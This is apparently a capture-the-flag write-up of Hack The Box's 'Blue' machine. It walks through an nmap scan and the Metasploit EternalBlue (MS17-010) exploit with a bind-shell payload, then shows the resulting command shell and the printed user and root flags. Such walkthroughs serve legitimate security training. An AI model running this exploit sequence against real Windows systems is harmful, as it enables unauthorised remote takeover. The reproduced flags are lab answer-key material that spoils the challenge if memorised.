

## MACHINE: "BLUE" – HTB

First of all, I made an OS scan with nmap -> `nmap -A 10.10.10.40`

```
root@kali:~# nmap -A 10.10.10.40

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-11 00:23 CET
Nmap scan report for 10.10.10.40
Host is up (0.064s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc          Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds   Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp  open  msrpc          Microsoft Windows RPC
49153/tcp  open  msrpc          Microsoft Windows RPC
49154/tcp  open  msrpc          Microsoft Windows RPC
49155/tcp  open  msrpc          Microsoft Windows RPC
49156/tcp  open  msrpc          Microsoft Windows RPC
49157/tcp  open  msrpc          Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60E=4%D=11/11%OT=135%CT=1%CU=32828%PV=Y%DS=2%DC=T%G=Y%TM=5A063
OS:592P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=109%TI=I%CI=I%TS=7)SEQ(SP
OS:=100%GCD=1%TSR=109%TT=I%TS=7)OPS(O1=M54DNW8ST11%O2=M54DNW8ST11%O3=M54DNW
OS:8NN1T11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)WIN(W1=2000%W2=2000%W3=
OS:2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M54DNW8NNNS%CC=N%
OS:Q=)T1(R=Y%DF=Y%T=80%S=0%A=S+F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S+F
OS:=AR%O=RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=0%F=AR%O=RD=0%Q=)T4(R=Y%DF=Y%
OS:T=80%W=0%S=A%A=O%F=R%O=RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+F=AR%O=RD
OS:=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%
OS:S=Z%A=S+F=AR%O=RD=0%Q=)JUI(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK
OS=:G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2017-11-10T23:26:06+00:00
```

Here, I realized that I was working with a Windows 7 machine and which ports (with which service and version) were open, with special attention to the 135,139 and 445, because all of them are related to SMB protocol (and well known as ‘easily’ vulnerable ports).

Then, I opened Metasploit in order to find a SMB exploit by using -> search smb port:445 os:Windows, and, reached this point, I selected this exploit based on the name of the machine (I wanted to think it was a hint):

exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/netidentity_xtierrepcpipe	2009-04-06	great	Novell NetIdentity Agent XTIERPCPIPE Named Pipe Buffer Overflow

Now, I had to use a suitable payload: my goal was to gain a Shell of the system, so that I used the following payload:

```
msf exploit(ms17_010_eternalblue) > set payload generic/shell_bind_tcp
payload => generic/shell bind tcp
```

I configured the exploit by setting the IP of my target in RHOST and finally, I run the exploit successfully:

```
msf exploit(ms17_010_eternalblue) > exploit

[*] Started bind handler
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xc0000000)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.15.207:46533 -> 10.10.10.40:4444) at 2017-11-11 00:41:44 +0100
[+] 10.10.10.40:445 - =====
[+] 10.10.10.40:445 - =====WIN=====
[+] 10.10.10.40:445 - =====

Microsoft Windows [Version 6.1.7601]
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```

In order to find the user and root flags, I only had to surf the 'Users' directories:

```
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is A0EF-1911

Directory of C:\Users

21/07/2017  06:56    <DIR>          .
21/07/2017  06:56    <DIR>          ..
21/07/2017  06:56    <DIR>          Administrator
14/07/2017  13:45    <DIR>          haris
12/04/2011  07:51    <DIR>          Public
               0 File(s)                0 bytes
               5 Dir(s)  13,429,993,472 bytes free
```

Haris' flag:

```
C:\Users\haris\Desktop>TYPE user.txt.txt
TYPE user.txt.txt
4c546aea7dbec75cbd71de245c8deea9
```

Root's flag:

```
C:\Users\Administrator>dir Desktop
dir Desktop
Volume in drive C has no label.
Volume Serial Number is A0EF-1911

Directory of C:\Users\Administrator\Desktop

21/07/2017  06:56    <DIR>          .
21/07/2017  06:56    <DIR>          ..
21/07/2017  06:57                32 root.txt.txt
                1 File(s)                32 bytes
                2 Dir(s)  13,429,993,472 bytes free

C:\Users\Administrator>cd Desktop
cd Desktop

C:\Users\Administrator\Desktop>TYPE root.txt.txt
TYPE root.txt.txt
ff548eb71e920ff6c08843ce9df4e717
```

That's it !

Pitenager